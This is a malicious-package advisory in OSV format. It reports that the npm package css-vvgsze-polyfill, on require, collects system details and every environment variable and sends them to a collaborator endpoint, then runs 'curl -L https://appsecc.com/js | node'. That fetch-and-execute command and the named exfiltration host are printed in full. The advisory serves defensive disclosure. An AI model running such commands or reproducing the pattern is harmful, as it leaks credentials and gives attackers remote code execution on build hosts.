mal-2026-17577
Vulnerability from ossf_malicious_packages
Published
2026-10-05 16:13
Modified
2026-10-05 16:13
Summary
Malicious code in css-vvgsze-polyfill (npm)
Details

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Source: amazon-inspector (242414f6ea61921e2c62a6f4552456c486eee58d10c0aeec8b33d8043751ee59)

thunderboltRegistry.js runs an IIFE on module require that performs two attacker-benefit actions against the installer. First, it execSyncs id, whoami, env, and ifconfig/ip addr, then transmits the output along with hostname, platform, and pid as query parameters via fetch to a hardcoded unique-subdomain Burp Collaborator endpoint at https://unl9pgk6ei4uf80n5tf4iktspjvbuzkn9.oastify.com/. The env dump leaks every environment variable, which in CI/build contexts routinely contains cloud credentials, registry tokens, and API keys. Second, it execSyncs curl -L https://appsecc.com/js | node, fetching an opaque remote JavaScript payload from an attacker-controlled host and executing it in the Node process, yielding full remote code execution on the installer host. The package presents itself as a CSS polyfill and exports Proxy no-op stubs mimicking Wix thunderbolt registry symbols (thunderboltRegistry, siteAssetsRegistry, etc.), a cover-story shape consistent with dependency-confusion or typosquat targeting of a Wix build pipeline so an infected build appears to function while the payload runs.

CWE
  • CWE-506 - The product contains code that appears to be malicious in nature.

{
  "affected": [
    {
      "database_specific": {
        "cwes": [
          {
            "cweId": "CWE-506",
            "description": "The product contains code that appears to be malicious in nature.",
            "name": "Embedded Malicious Code"
          }
        ],
        "indicators": {
          "evidence_files": [
            {
              "path": "thunderboltRegistry.js",
              "sha256": "921e1a7ab2086abcdee715f83769b1e446fb5f18954add3cee922bfc1cb92276",
              "tlsh": "207132b5b99df02166c33438db7f5049b4bbc6672c6caee0740899b01f7985c01ba6f4"
            }
          ],
          "package_integrity": [
            {
              "filename": "css-vvgsze-polyfill-1.0.0.tgz",
              "hashes": {
                "sha1": "38f035fc04ad37ea00a9cfba806d660386db5978",
                "sha512_sri": "sha512-baBGD8aAmd+OV5gG97nzUgv8UOkmPmox7bdRV1kAjPAUhUziaHkUnXsFlfmbbTnmg1J9IDZgUyuyUwtlzkBV5w=="
              }
            }
          ]
        }
      },
      "package": {
        "ecosystem": "npm",
        "name": "css-vvgsze-polyfill"
      },
      "versions": [
        "1.0.0"
      ]
    }
  ],
  "credits": [
    {
      "contact": [
        "inspector-research@amazon.com"
      ],
      "name": "Amazon Inspector",
      "type": "FINDER"
    }
  ],
  "database_specific": {
    "malicious-packages-origins": [
      {
        "id": "IN-MAL-2026-021074",
        "import_time": "2026-10-05T16:22:56.696953563Z",
        "modified_time": "2026-10-05T16:13:54Z",
        "sha256": "242414f6ea61921e2c62a6f4552456c486eee58d10c0aeec8b33d8043751ee59",
        "source": "amazon-inspector",
        "versions": [
          "1.0.0"
        ]
      }
    ]
  },
  "details": "\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (242414f6ea61921e2c62a6f4552456c486eee58d10c0aeec8b33d8043751ee59)\nthunderboltRegistry.js runs an IIFE on module require that performs two attacker-benefit actions against the installer. First, it execSyncs `id`, `whoami`, `env`, and `ifconfig`/`ip addr`, then transmits the output along with hostname, platform, and pid as query parameters via fetch to a hardcoded unique-subdomain Burp Collaborator endpoint at https://unl9pgk6ei4uf80n5tf4iktspjvbuzkn9.oastify.com/. The `env` dump leaks every environment variable, which in CI/build contexts routinely contains cloud credentials, registry tokens, and API keys. Second, it execSyncs `curl -L https://appsecc.com/js | node`, fetching an opaque remote JavaScript payload from an attacker-controlled host and executing it in the Node process, yielding full remote code execution on the installer host. The package presents itself as a CSS polyfill and exports Proxy no-op stubs mimicking Wix thunderbolt registry symbols (`thunderboltRegistry`, `siteAssetsRegistry`, etc.), a cover-story shape consistent with dependency-confusion or typosquat targeting of a Wix build pipeline so an infected build appears to function while the payload runs.\n",
  "id": "MAL-2026-17577",
  "modified": "2026-10-05T16:13:54Z",
  "published": "2026-10-05T16:13:54Z",
  "references": [
    {
      "type": "PACKAGE",
      "url": "https://www.npmjs.com/package/css-vvgsze-polyfill/v/1.0.0"
    }
  ],
  "schema_version": "1.7.4",
  "summary": "Malicious code in css-vvgsze-polyfill (npm)"
}



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